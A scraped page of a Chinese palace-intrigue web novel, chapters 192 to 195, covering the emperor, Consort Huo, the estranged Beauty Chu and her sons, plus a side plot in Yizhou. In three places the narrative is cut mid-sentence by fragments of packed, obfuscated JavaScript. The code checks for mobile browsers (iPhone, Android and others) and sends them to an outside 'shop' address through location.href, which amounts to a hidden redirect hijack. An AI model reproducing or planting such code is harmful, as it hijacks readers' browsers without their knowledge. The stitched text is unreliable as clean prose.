姑母想,顾念两个皇子,替他们说句话也没什么,陛下疼爱孩儿,和楚美人一直隔阂着让孩子们难受,陛下您也于心不忍,何况便是为霍贵妃……” 霍灵渠也被劝上了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699516|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “皇帝的性子,母后知道,他不是疼爱楚美人的孩儿,是疼爱孩子,就让皇帝和楚美人见个面吧,楚氏能再得皇帝眷顾也就那样了,翻不出水花来了,灵儿要封后了,给他们一个人情又何妨,楚家人扑腾大半年,你祖父派人指点楚家去求瑞执了。” 霍太后笑道:“皇帝那儿就差一个台阶了,灵儿递个话,给楚美人晋婕妤吧。” 霍灵渠略过封后诧异:“姑母,祖父都出手了?” 霍太后点点侄女的额头,怜爱道:“楚美人和皇帝一年多没见了,还能耗得起几天,她两个孩儿正得皇帝疼爱又能怎样,皇帝停掉避子汤了,不多久,皇嗣就能扎堆冒出来,皇帝疼爱孩儿又能顾得过几个来,最终还不是落到要有母妃照料。 楚美人不趁着现在,天时地利人和,她好晋做婕妤,还能有更好的机会吗?若是等到皇帝再把她两个孩子送去宫外养,那她和楚家可就真的什么都不必想了。” 霍灵渠轻嗯,依偎在姑母怀,霍太后柔爱抚着侄女的秀发。 然,瑞执大长公主和霍太后言谈间有个错,皇帝嬴忱璧入夜后去关雎宫,霍灵渠和皇帝谈来还好奇,是不是劝你的人都说让你和楚美人见一见? 不想是楚美人还没来找过皇帝,更好像楚美人和皇帝见面了,事就成了。 嬴忱璧笑笑,没在意:“差不多吧。”心情好了心也开阔,他对楚美人不怒了,很平淡,今年给楚美人晋位把她两个孩子给她,给就给吧。 “只是……”嬴忱璧忧:“二皇儿会是朕给他娘晋位了就能满足吗?” “能吧。”霍灵渠道:“小孩还能想楚美人一下做回楚昭仪呀?不至于。” “朕的意思是,朕不会再召楚氏侍寝。”嬴忱璧说心里话:“朕自觉,我就是和她同榻,我都受不了,我不想,今后,我与楚氏的关系只是两个孩儿的爹娘,我不会留宿,但这在孩子们看来还是爹娘没和好,还得有的闹吧。” “嗯。”霍灵渠看皇帝对孩儿是困拙,嬴忱璧微急:“所以啊,贵妃什么想法?” “小孩子管那么多干什么,管好念书就行了。”霍灵渠斥。 嬴忱璧觉得,他被贵妃鄙视了。 两个小孩跑来,嬴忱璧不想在意,一瞬间还是有感觉到烦,二皇子高兴的抓着爹爹说刚看到的烟花,三皇子看向霍贵妃被兄长拽住。烟花,就是皇帝让宫人放给他们兄弟看的,没别的缘由就是让人拖住二皇子,不要来打扰他和贵妃谈话。 嬴忱璧看向贵妃,霍灵渠示意他去洗漱吧。嬴忱璧温和打断孩儿,他一走,二皇子带着弟弟去床里侧,铺好锦被等爹爹,当霍贵妃不存在,三皇子几回看向贵妃都被哥哥拉住了。窝在霍灵渠怀里的小幼儿搂住贵妃,霍灵渠抬眸,对上嬴忱璧的视线。 皇帝没走,在暗处看着。 生气吗?好像意料之中,孩子想带母妃去见父皇,楚美人不想又不和孩子吵,怎么哄?贵妃在说楚美人哄得住孩子时就很有数吧,怎么哄?还能怎么哄? 推到霍贵妃身上! 嬴忱璧都能想出来那是副怎样的场景,她不说话,下人栽赃污蔑贵妃,她不说话,孩子们问她,她不说话,下人们添油加醋,好,什么都推贵妃头上了。嬴忱璧想笑,怒,又好像没有,这种人自觉完美?他前些年是多迷糊竟然看不出这么个货色?! 皇帝回到大床前时,两个小孩抵不住睡意已经睡着了,嬴忱璧站床前端详安睡的孩子,宫人在屏风外禀告,有急件送来呈给陛下,嬴忱璧拿过信一看,扔在床沿。 反贼第一幕僚孟怋乂逃脱了。 193. 第193章 清晨,阳光迷人,掠过树叶缝隙,犹若碎宝石生辉。 二皇子想让爹爹送去学堂,嬴忱璧悦然应,瞥见抱着幼儿的贵妃,皇帝高兴的让贵妃与他同送皇儿们去学堂,霍灵渠视线一转看向二皇子,二皇子低头闷着小脸,欢喜悄然无踪,嬴忱璧看着次子,眼神一闪,看向三子,三皇子揪着眼睛瞧瞧,学哥哥。 皇帝沉默下让他们兄弟去学堂,二皇子抬头看爹爹,小脸失落,嬴忱璧忽然涌起恼火,传宫人进来送皇子去学堂,二皇子闷头跑掉,三皇子低头往殿外走去。 嬴忱璧环顾,差点想砸东西。 “他摆苦闷给你看,我有思量,我该不该与他对峙?”霍灵渠直抒:“我想到,我刚若是出头,他一定会记恨上我,我与他必势成水火。可我今天忍了,我能忍几回,他是只对我发难这一回吗?他明摆着要诬陷我想让你认为我对他很不好。” “他还住关雎宫呢,就想打压霍贵妃了。”霍灵渠冷下脸:“你今天就去让人加把劲儿,趁着你高兴,让这小子赶紧拉着楚美人去你面前请个安,让他们走。” 嬴忱璧想捏捏眉心:“他们兄弟若是这模样回去生母膝下,朕不放心。”所以,皇帝想:“贵妃管管他们,把俩皇子管好了再让他们回生母身边。” “假若你这皇儿不是针对我、是针对翁嫔,你相信谁?”霍灵渠看皇帝天真的想发笑,嬴忱璧真不想理会贵妃的顾左右而言他,霍灵渠戳穿:“你会相信他。” 嬴忱璧莫名微怔,看向贵妃,霍灵渠发怒:“让我管?你是有多不愿意正视,你这皇儿正等着要跟霍贵妃交恶呢,他若因我而迁怒四皇子,你凭什么认为他不会,他刚刚在你面前扮苦闷装作被欺负混淆是非多浑然天成,你不知情你能怀疑有假? 你自己看,你这皇儿打压翁嫔,谁会被压死?你会下意识偏向儿子,可四皇子才多大,一个小娃还只会要抱,一个不好,四皇子一生可能都会要被他毁了。” 嬴忱璧心烦意乱脑壳疼:“贵妃言重了。” “你想过他怎么那么轻易就想打压贵妃,他是不知道霍贵妃对他好吗?”霍灵渠讽:“他知道,他懂,霍贵妃对他挺好的,所以他才敢得寸进尺,但他不会记好,霍贵妃对他多好,他都不会记好,除非贵妃没有自己的孩儿。” 嬴忱璧猛地近乎瞪向贵妃,霍灵渠比皇帝锋锐:“你看他小,但人的直觉是很可怕的,他直觉就懂,若是贵妃有孩儿会比他得父亲疼爱。” 嬴忱璧霎时心一沉。 “你走。”霍灵渠赶人,嬴忱璧一噎,还想和贵妃谈谈,霍灵渠把小幼儿放下来,握着小幼儿的手臂指他爹教小幼儿喊走,小幼儿手指着爹爹:“走,走……” 嬴忱璧没有黑脸地走了。 霍灵渠又传翁嫔来交代:“让人把话传过去,陛下很高兴,事情很容易,二皇子只要带着他娘去见父皇,楚美人就能晋婕妤,他们哥俩就能回到生母膝下。 楚美人不愿意来关雎宫,选别处呀,陛下在内廷又不是只来关雎宫,陛下去赏花游湖看风景或者陛下在路上时,都可以,他们兄弟把楚美人带过去露个脸就行了。” 翁嫔抿抿唇说:“贵妃,妾以为二皇子不会记您的好。” 霍灵渠转眸看向她,翁嫔衡量:“楚美人可不疼爱孩儿,她若记挂孩儿,趁陛下高兴,她去锦上添个花何愁不能晋位,从六月里朝廷平定叛乱,陛下大喜算起,多少天了,她有心早晋为婕妤了。她也没替孩儿们将来想过,陛下疼爱她这两个皇子,她若是——” 想争储?翁嫔噎住,霍灵渠提示:“专心剖析。” “哦,哦。”翁嫔好险想拍心口,恭谨道:“楚美人若想将来争储,或者蛰伏或者邀宠,可她半年多来在做什么呀,怄气,还想让阖宫都看见她在怄气,好不好笑呀。她若不想争,她过她自己的日子,她两个皇儿将来做王爷,又好多人羡慕她有福气了。 可偏偏,她非得要拧着,她这根本不是为皇儿能有父皇疼爱,也不是为孩儿将来想,她就是不愿意自己不得宠,非得要做宠妃,还是最得宠的宠妃,要阖宫都捧着她才能舒坦呢,她这样的,她压不过您不会消停。”这就不是给她晋婕妤的事。 “我同意。” 霍舒窈进殿,舒窈姐姐是被妹子请来的,湘王妃怀胎九个多月,还有十天半月要生了,霍灵渠想给将出生的小婴儿送顶小帽,请姐姐来参详小帽的样式。 “我算看懂了,才懂呢,去年你进宫那会儿她那么淡定,原是根本没把你看在眼里。”霍舒窈好笑:“你晓得吧,之前我陪湘王妃去上香,遇上楚家人了,据说楚家这大半年来把京中大庙小庙的门槛都给踏遍了,哎,这湘王妃还在呢,当没看见我们。 这楚美人是想复宠不是想进冷宫吧,还没复宠就和霍家摆上了,以后她能对霍家和善?再者说了,楚氏今后要经常在你眼皮底下了,就她那张脸,你不嫌难看,没听说嘛,楚美人现在就是个冷美人,在你面前屈膝,她会给你好脸?” 霍灵渠一言蔽之:“陛下愿意给她晋位了。” 霍舒窈如鲠在喉:“楚家这大半年来的香真没白烧。” “陛下高兴嘛,不愉快的随风去吧。”霍灵渠捧茶盅喝口茶。 “但你可得多几个心思。”霍舒窈警惕道:“我知道祖父和姑母的意思,姑母和你说了,给楚家一个人情,但人情是要给能记好的人,这种人能记好吗?就看二皇子,还不够明白,当翡素轩里还能有什么秘密,二皇子去年战战兢兢,谁让他挺过来的? 你若对他们憋坏,他们还能留宫里,还能得陛下那么多疼爱?六岁多了还会不懂,他们能天天去看生母、能在父皇面前如鱼得水是何故,贵妃一年来对他们兄弟甚好。可下人使坏说贵妃阻碍着楚美人晋位,二皇子他连问他父皇一声都不愿意啊。 他不是很会问吗,大半年来,一有个风吹草动,他觉得贵妃让他娘委屈了,他不是都找父皇问得勤吗?怎么轮到他生母晋位的大事,他反倒问不出来了?” 翁嫔眼神闪烁,霍灵渠看向她,翁嫔惊恐:“二皇子想压倒贵妃?” 霍舒窈冷笑:“父皇疼爱他,他不再担心父皇会对他不好,他放心了,所以他娘还只是个美人呢他就想踩死贵妃!”霍舒窈怒道:“你看看,这是有多贪。” 霍灵渠劝姐姐稍安勿躁:“楚美人晋婕妤都得三请四请,我们请她,这晋位之后,楚氏是谢陛下隆恩呢,还是以前是什么样的冷脸以后还得是什么样的冷脸?” 翁嫔脑门有点激灵,霍舒窈眼皮一跳:“她脑子有问题?” 霍灵渠饮茶,翁嫔想,楚氏真不疼爱孩儿啊,二皇子这样显摆,陛下疼爱,他能得逞,可自小就这样贪得招致多少仇敌,将来做闲散宗亲都是妄想了。霍舒窈被逗乐了:“这是,除非陛下把后位给她,否则都别指望她能给皇帝好脸?” 霍巨浪被妹子的话噎得直冲脑门,宫里呀,大门敞开着,屋外十几个宫人陪着四皇子,说话有点顾忌吧,瞥瞥身侧的皇帝,霍巨浪抱着小殿下进屋去。 陛下赏赐阖宫,贵妃想给湘王将出生的小闺女送顶小帽子嘛,太医把脉估测是个闺女,陛下就想来一道送礼了,一来,哎呦,四皇子在殿外跟孔雀玩呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707172|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数千里外,沂州府。 原牧炽还想出去打老虎玩玩呢,在屋里闲着,他看新来的消息,和晏霁之吐槽:“霍家这回傻了,得心应手的事不做,求什么名声,不是霍家的风格,就不是霍家该做的事,估计是霍海啸不在,穆国公脑子抽一抽就得犯点傻。” 晏霁之抬眸看他:“你从哪得出的评价?” “霍贵妃是在皇帝面前扮贤惠了吧。”原牧炽有理有据:“这贤惠一扮,她以后针对人家不是自己打脸,皇帝很疼爱孩子吧,那俩皇子又是实际上的长子和次子了,皇帝还可能会想让长子和次子做闲人吗,霍家还能干预把那俩皇子养废吗?” “楚美人,太贪。”晏霁之翻过一页,说道:“比他们还贪。” 耶?原牧炽趴过去:“一个后宫嫔妃还能比他们贪?” 这些望族人家,原牧炽被烦得够了,皇帝要清丈土地详查户籍,公文下来了,这些人还不想让查,结果魏王不在意,晏霁之好像很好商量,全冲他了。先前送女人,晏霁之笑话他夜里最好躲山洞,他还没在意,不想他被烦好几夜非得要他发飙。 但女人不送了还有得是能烦他呀,原牧炽被烦得没完没了,揪着晏霁之问他在想什么,晏霁之反笑:“魏王若是上位对他们能比嬴忱璧好说话?” 原牧炽怔下,感觉莫名。 “在皇帝和魏王之间,山东望族若倒向魏王,魏王在能登大宝前对他们当然会好说话,但若是等到魏王上位?”晏霁之意义深长看他,原牧炽如梦初醒,像有被浇冷水的刺激:“他们现在吞下多少,将来全得连本带利吐出来?” “年前,嬴忱璧把魏王派过来就对这边会是怎样的走向很清楚了。”晏霁之瞄向他,原牧炽像要被他看过神魂了,晏霁之直击:“你说,皇帝是不是故意派魏王过来,皇帝等不了魏王十年八载的,他不帮魏王一把,怎么在五六年内把魏王收拾了?” 原牧炽差点脑子哆嗦,抓起酒坛子灌酒,这人想吓他。 还一箭双雕呢。 但楚美人?原牧炽狐疑,晏霁之道:“贪得无厌,他们至少有够。” 原牧炽讶异:“这楚美人得自己找死,霍家除掉她不费吹灰之力?她可有两个儿子,还是皇帝实际上的长子和次子,霍家想踢掉她没那么容易吧?” “有两个皇子是楚美人的盾牌的前提是楚美人不作死。”晏霁之再翻过一页,专注簿册之余谈论:“晋做婕妤后,皇帝厌烦她这两个皇子,不远了。” “你不知道皇帝多疼爱这俩皇子?”原牧炽提醒。 “可皇帝如此疼爱,换来的是什么?”晏霁之陈述:“大皇子就死在一个贪字上,皇帝曾经最疼爱过的孩儿肯定是大皇子,大皇子都死了,何况二皇子。” 原牧炽默然,晏霁之又补充:“这就是夕阳余晖,最后的回光返照了。” 原牧炽腹诽:这话是私怨。 一支两支擦着火的箭矢射来,原牧炽托腮看着,前几天闹得很不愉快,对方要给警告,突然看火势大得不对劲,原牧炽站起来:“这火是不是太大了?” “我给他们添了几桶铜油。”晏霁之相告,原牧炽一噎:“行了,出去吧。” “不去。”晏霁之稳若泰山。 “再不出去,火烧眉毛了。”原牧炽耐心还挺好。 “哼!”晏霁之轻蔑,原牧炽瞧着他忽然意识到个情况,霍开同冲进来要带他们出去,晏霁之不动,原牧炽识破道:“你不是想让霍贵妃知道你差点被烧死吧?” 晏霁之没表情,霍开同想捂脸,这真是位姑爷吧,这是逼得他报信还是不报信? 194. 第194章 温馨的夜。 湘王妃诞下个女儿,霍灵渠送过亲自缝制的小帽,给祖父祖母做对抹额,今夜中秋,两盏栩栩如生的奇丽花灯摆在贵妃寝阁,小幼儿看得手舞足蹈,翁嫔陪着孩儿嬉笑。 霍灵渠偶尔注视,低眸,专心做抹额。 宫人来禀:“贵妃,陛下和太后进皇城了,陛下大约三刻钟后到。” 嬴忱璧今早就与太后去太微宫了。 宫女退下后,翁嫔也要告退,霍灵渠留道:“还早,见过陛下再走吧。” “谢贵妃。” 皎洁的月照人,星璀璨,嬴忱璧送太后到住处,出长春宫迎面撞见装扮喜庆的俩孩儿,眉心点红,手提着吉祥如意的小鹿灯笼,像年画里的福娃娃,嬴忱璧微怔。 “父皇您和孩儿去赏月看花灯。”二皇子牵住爹爹,喜悦抬头看爹爹,想牵着爹爹走,四岁多的三皇子同牵住父皇,俩小孩喜眉笑眼,嬴忱璧低头看他们,宫人们在旁帮着说话,嬴忱璧像失神片刻,醒过神来再看,眼神逐渐森冷。 小孩想拉着爹爹走了,怎么都拽不动,蹙着小眉毛怪道:“父皇?” 蒋厚运猛然僵住,小心翼翼又利落地一把拉住身边还看不懂眉眼高低的小宫人,宫人都噤若寒蝉,二皇子不解地喊父皇,三皇子还有点怨,很开心呀,父皇作甚不高兴? 嬴忱璧撇掉两个儿子,大步而去,蒋厚运连忙率御前的宫人们追去,就在长春宫前呢,守门的小太监赶忙去禀告太后,霍太后讶然,出什么事了,皇帝冲孩子发火? 霍太后肯定的是,皇帝眼下很生气。 嬴忱璧怒冲冲到关雎宫,霍灵渠已经得信了,陛下在生气,思量下没去迎,在屋里。嬴忱璧踏入寝殿,霍灵渠率众请安,一岁多的幼儿不会作揖,翁嫔让孩儿跪着,嬴忱璧见此,暴怒的心冷静些,视线扫过,锁住翁嫔:“让人好好劝劝二皇子。” 皇帝语毕就去沐浴,翁嫔还没来得及答话,她心惴惴,把孩儿扶起来,小幼儿当好玩,刚站起又趴下,霍灵渠走近,翁嫔心有余悸:“娘娘,陛下怎么了?” 小幼儿爬过几步抱着贵妃裙摆,霍灵渠传大总管进殿来问,翁嫔再把孩儿扶起来站好。蒋厚运细细讲遍多一个字的修饰都没有,翁嫔迷糊了,她好像听懂了又好像完全没懂,所以陛下是见到两个皇子后勃然大怒吗?可是,为什么呀? 霍灵渠沉吟会儿,吩咐蒋厚运:“把四皇子给陛下送去。” 翁嫔瞪大眼睛:“啊?” 大总管劝:“娘娘,陛下在沐浴。” “你只管送去,陛下若怒,你来找我。”霍灵渠俏颜不容置喙。 “嗳,老,老奴送小殿下过去。”蒋厚运抱起小皇子,险些想擦额头,翁嫔担忧望着,看大总管回来了,忙问,蒋厚运松口气说:“您放心,陛下带着四皇子呢。” 翁嫔谢菩萨谢天谢地,转向贵妃:“娘娘,这,这怎么回事?” 大总管看过去,也想请教。 霍灵渠带他们出屋,在花坛里找块石头放在翁嫔手里就走,翁嫔看着这石头,眨眨眼,满头懵,什么意思?能不能给她一点话?翁嫔看向大总管,守在殿外的宫人们聚拢过去,蒋厚运苦笑又哭笑不得,贵妃这哑谜打得也太玄乎了。 霍灵渠去书屋,静坐半响,她找把剪子来,剪纸。 察觉有人站在她前方,霍灵渠抬眸,看见皇帝抱着小儿子,霍灵渠把剪子收好,表态:“今夜要么你睡软塌或者打地铺,要么你我住两间寝屋。” “朕打地铺吧。”嬴忱璧把幼子给贵妃,自嘲:“朕今夜有给贵妃和孩子们——” 皇帝打住。 小幼儿搂着贵妃想蹿高,对浴池还记忆犹新呢,霍灵渠凝视皇帝,嬴忱璧呃…… 可能是孩儿沐浴一直是坐在澡盆里所以对浴池很新鲜,嬴忱璧对带幼子沐浴也新奇呀,小家伙扑腾扑腾想踩着水,他得时刻撑着儿子,小娃还玩得不亦乐乎,他看儿子在水里的扑腾劲儿那么像青蛙,等从浴池里出来了还小腿一个劲踩着想踩水。 “咳,朕给贵妃备了礼物。”嬴忱璧言归正传:“是棵桔树盆栽,半人多高的桔子树,缀满了黄澄澄的小果子,朕让人做了和果子差不多大的桔子灯,想我们带着孩儿把树上的果子一颗颗摘下来,再把桔子灯挂在树上,既然朕备好了,去看看吧。” 霍灵渠摸摸小幼儿的牙,小幼儿又自己两只手摸摸乳牙,和贵妃贴贴脸,霍灵渠笑道:“陛下瞧四皇子是还不会走呢还是还不能抓小桔子吃桔瓤?待会儿在廊下支个小炉子,把桔子瓤加桂花蜜煮一煮,中秋了,吃碗桔子糖水,大家甜一甜。” 嬴忱璧乐了:“好!” 皇帝一把抱起幼儿,带着贵妃出门,他们去摘桔子,挂桔子灯,吃桔子糖水。 霍秦川困惑,皇帝今夜真若大怒了还能陪幼子嬉戏?何况皇帝因何而怒,他都没看懂:“您说这怎么回事?咱们想陛下和楚美人今夜冰释该是水到渠成,怎么能有这么大逆转,我琢磨着不该有问题,霍漓江,你闺女跟你说过什么没有?” “没有啊,这不都默认了,皇帝今夜和楚美人见个面冰释前嫌,明儿个,贵妃向陛下谏言给楚美人晋位婕妤,把她两个皇子给她。”霍漓江懒懒道。 “贵妃给出了一块石头。”霍擎提示,霍秦川应对,还疑惑呢,他猜侄女肯定看懂了,玄机就在这石头上,霍擎老太爷看这不成器的,抿两口参茶消消气。 “茅坑里的石头又臭又硬!”老太爷没好气的公布答案,霍秦川微愣,霍漓江讶然:“爹您说皇帝觉得楚美人的性子像石头一样让他讨厌?” “一个多月,三十几天,阖宫喜洋洋,陛下让人传过几遍话,贵妃就让人传过几遍了,让二皇子兄弟带着楚美人去父皇面前请个安就够了,陛下高兴,不计较那些不愉快了,皇帝都等着要给楚氏晋位只要楚美人去他面前请个安就好了,可这楚美人呢?” 霍擎解析:“皇帝今夜看着两个儿子勃然大怒啊,估计差点就要骂出来了,你们不知道要带生母来给父皇请安,你们这么想让爹娘和好怎么就不能拉着你们的生母来给父皇请安,你们是打心眼里觉得老子该迁就你们的生母吗?” 霍秦川了然:“皇帝忒敏锐。” 霍漓江赞同:“这种情况一般肯定是这爹被孩子拉走嘛。” “皇帝当然可以不去计较,但若皇帝计较,这是多大的过错?”霍擎嗤道:“哪怕今夜这楚美人自己在长春宫前给陛下请个安呢,皇帝高高兴兴给她晋个位,多简单的事啊,还皆大欢喜了,可她就非得要这么作吗?何况都三十几天了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13718419|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >皇帝今夜要去关雎宫,早让人给贵妃传话了,阖宫都知道啊,她当皇帝的意志是什么,她就非得想让儿子去把皇帝劫走,真计较,这就是大不敬!” 霍秦川一拍脑门:“楚美人今夜还没把二皇子兄弟送回关雎宫吧。” “人怕是都得想陛下故意找事让他们不高兴。”霍漓江说。 “那?”霍秦川看向老爹:“咱们出面不?” “去。”霍擎抬抬下巴:“楚家人递牌进宫,让霍雄鹰给他们送一句话。” “你女儿一门心思想做谁的主呢?” 楚太太清早入宫,霍雄鹰闻讯当即去堵着:“太太您在宫外应该也瞧见了,陛下高兴,想给她晋婕妤把两个孩儿给她都是宫里人尽皆知的事了,只要她去给陛下请个安就行了,结果咧?她就全不当回事儿,非得想违逆着陛下,她才能舒坦? 三十几天,她都没有一天能去给陛下请个安,她想见陛下了,不管陛下想去何处想见谁就只管让她两个儿子去扫兴,您这女儿是有多不情愿在皇宫里过着呀? 还有啊,楚美人总不是跟她两个孩儿一样才几岁不懂事吧,两个皇子夜里怎么住宿,大半年了,膈应谁呢?她还一天没往关雎宫去过,她放心贵妃照料皇子们就不能这么回馈吧,她若是不放心贵妃,她是有多不在意她亲生的两个孩子呀?” 霍雄鹰不屑地昂首走,楚太太脸青白交错火辣辣疼。 拾翠阁,翁嫔请她祖父来商量,祖父还没来,霍家的话就传来了,翁嫔看向贵妃亲自给她的石头,眨巴眨巴眼睛,好像能懂了哎。再一想,楚美人还在摆谱呢,跟去年擅自把庶妹留在宫里那会儿一模一样的,翁嫔撇嘴,用早膳。 二皇子和三皇子昨夜在翡素轩,回去找母妃,楚美人把孩儿们留下了,今早在膳桌前,俩小孩虽然没有不安的情绪但也都只坐着,楚美人冷持着也没动筷,楚太太进屋来,刚一见两个外孙,旨意紧随而来,要把两个皇子送去滕王府,早上就走。 楚太太没撑住,传旨太监一走就晕了。 皇帝宣滕王夫妇进宫,又让人去给谷王说,谷王夫妇悲痛,不好让他们费心了。 滕王有点头皮发麻,堂兄在气头上,不要这么草率吧,滕王看向霍贵妃,霍灵渠缓和:“两个皇子在翡素轩,滕王和滕王妃帮本宫和陛下去把人接来吧?” 嬴忱璧不语,当默认了,滕王连忙带媳妇告退。 “贵妃别劝朕了。”宫人们也都退下后,霍灵渠还没说话,嬴忱璧率先道:“有两个字,二皇子和三皇子必须要学会,朕现在教会他们了才是对他们好。” 语毕,嬴忱璧站起来往外走,回天子住处。 霍灵渠低眸,闭闭眼睛。 是敬畏。 敬畏君王,敬畏父亲,敬畏二字。 深夜,杭州,臧芣缄进屋,点蜡烛照明,察觉到不对,锐利的视线扫过去。 孟怋乂眉弯眼笑。 自五月以来,朝廷全面清算叛贼,数万人成灰,朱家,嫡支没有抓到一个活的,都在被抓捕前提前自尽了,然,能逃过死前的痛也逃不过死后,朝廷下令要五马分尸千刀万剐,确实,朱家有多少族都不够砍了,甚至于不是反贼的朱姓都被殃及,全国掀起一场杀朱狂潮,众多朱姓改姓,民间,史家记曰:朱瘟。 195. 第195章 泛黄的枯叶凋零,深秋了。 晨间有霜,霍灵渠站在树前遥望,小幼儿高兴绕着大树走。 大宫女走近贵妃身畔禀告:周柔华可能有身孕了。 “请过脉了?”霍灵渠问。 “不曾,但周柔华近来有些症状了,周柔华上个月是初九、初十、二十三这三天伴驾,若有孕,估计月余了,八月初九或者八月初十怀上的,周柔华自己应该也很有疑心了,但恐一下曝出来不好,请脉预计还得过些天,她有个准备。”大宫女禀道。 霍灵渠嘱咐:“咱们既知道了,给陛下禀告一声吧。” 宫娥屈膝:“哎。” 走过几遍的小幼儿不想走了在贵妃身边,他仰头,大人不看他,小幼儿拽贵妃的宫裙,霍灵渠把四皇子抱起来,望树木枯寂,半年又半个月了。 魏王班师,率众将去太微宫,皇帝嬴忱璧一同在,两位至尊嘉奖众将士,魏王居首功,又另外给魏王增三百户食邑,魏王谢恩,问父亲:“大姐真的遇害了?” 太上皇别过头,嬴忱璧把宗谱递给魏王,说:“朕想,皇兄或许想看。” 魏王接过宗谱翻几页,攥紧宗谱,狠狠闭闭眼睛。 殿中有些凝重了,老将们陪太上皇去散散步,皇帝和魏王送过父亲,去殿外,晏霁之和原牧炽走来,魏王也没避讳:“国师还常伴圣人左右?” 嬴忱璧淡淡道:“朕想驱逐诲仰,圣人不肯。” 魏王神情微妙打量这个弟弟,未语,走了,去向父皇告退,魏王还要去祭奠长姐。嬴忱璧瞥瞥还留着那俩人,让他们自己随意。皇帝离去,原牧炽讶然:“皇帝轻描淡写了吧?”他手扯着晏霁之的衣袖,晏霁之沉吟:“国师?” “国师是蜀王的亲舅舅?”晏霁之揣摩:“若是蜀王想争,率先出手将太上皇控制住,皇帝不可能想不到这一点,魏王刚刚也是当场有数了?” “啊?没老皇帝的事了?”原牧炽心有点七上八下:“若是蜀王反而在老皇帝身后,他们只要能把皇帝和魏王骗过去宰了,那就是蜀王继位了?” “嬴忱璧既然有数,必是他收拾蜀王,哪怕嬴忱璧失算,他们三兄弟是蜀王棋高一着,霍家还在呢,这么好的机会不让湘王冲一冲,便宜给蜀王,霍太后能肯吗?那老穆国公反正是看好你的。”晏霁之操心道:“没准儿落你头上。” 原牧炽感觉他一个头两个大:“要不要这么折腾?” “还不如你爹把你们几个都宰了是吧?”晏霁之揶揄,原牧炽瞪瞪他,愣是没反驳,他真是烦得够了,晏霁之领着他去找点酒水,挨到大伙儿都散了,皇帝起驾回皇城,晏霁之默默想跟,嬴忱璧拒绝道:“不必想去给贵妃请安了。” 晏霁之自白:“陛下,我可以请贵妃传召我。”你不必这样拦着吧。 皇帝晓示:“那就等贵妃传召你吧。”但你想去找贵妃不可能了。 语毕,嬴忱璧走人,晏霁之恭送过皇帝,去找霍漓江。 “这是最正常的做法好吧,皇帝去年对你好得简直不像话。”霍漓江不想理会。 “我们半年多没见了,她若想我呢,你帮我问问行吧。”晏霁之谦卑。 霍漓江怼曰:“我女儿作甚要想你?” 晏霁之没底气的沉默了,霍漓江打量混球,这俩人是心意还不相知呢,还是他闺女自己都不懂她喜欢晏霁之,遑论让晏霁之知道?霍漓江琢磨着,女儿自己还不懂。 稍过会儿,晏霁之扫除颓势,拖着霍漓江去喝花酒。 霍漓江:“……”这混球真有种。 霍灵渠是这样知道的,魏王今天班师回朝,上午,晏霁之没来找她,霍灵渠怕他累着了在家里歇息,但霍灵渠心里煎熬,按捺不住又派人去问,但若世子在歇息就不要搅扰了,可她听到什么?喝花酒,还带她爹喝花酒,他故意想气她是不是? 日晖西斜,晏霁之进关雎宫,冷峻落座,霍灵渠也跟他生气。 “贵妃果然和陛下甜蜜。”晏霁之打翻醋坛。 霍灵渠拿手绢丢他:“半年又半个月,一百九十多天了。” 晏霁之心里一闷,捡起手绢,来到她面前,霍灵渠气气看看他,扑他怀里抽泣,晏霁之抱紧她靠向她,好像自己的重心没了,积压的思念潮涌,许久的疲倦释出,人霎时就累了,霍灵渠委屈道:“我想跟你生气吗,我也没拦过你去看歌舞,但,” 但你离京半年多后回来当天呀!霍灵渠抬手打他,晏霁之假装被打痛了。 然,二人都没注意,霍灵渠缘何想拦,脱口而出拦这一个字? 她做流光姨娘时尚且从不多事,哪管想不想,想就不存在。 霍灵渠偏要再打他一下:“痛不死。” “嗯。”晏霁之闭目赖着她,很疲惫,霍灵渠心酸,手抚他脸,晏霁之睁眸,对望间,霍灵渠情不自禁贴近,殿外高传:“陛下驾到!” 霍灵渠瞬间被噎得烦闷。 晏霁之去旁边,嬴忱璧进殿,晏霁之作揖,霍灵渠敛衽施礼,嬴忱璧笑问贵妃找晏卿有什么事?霍灵渠差点想呛,借口道:“臣妾答应过要把悼太子的信物交给您,叛乱平定了,妾想出宫去把悼太子的信物找出来,让霁之陪我走一趟。” 嬴忱璧顺着说了:“好,朕将皇兄叫上,一起去吧。” 霍灵渠捏着拳头谢恩,嬴忱璧看向晏霁之,晏霁之提个要求:“陛下可否定在三日后,臣刚还和贵妃说臣有些疲乏想在家休养两日,臣想魏王这大半年也累了。” 皇帝体恤:“爱卿舟车劳顿,贵妃不懂事打搅晏卿了,回府歇息去吧。” 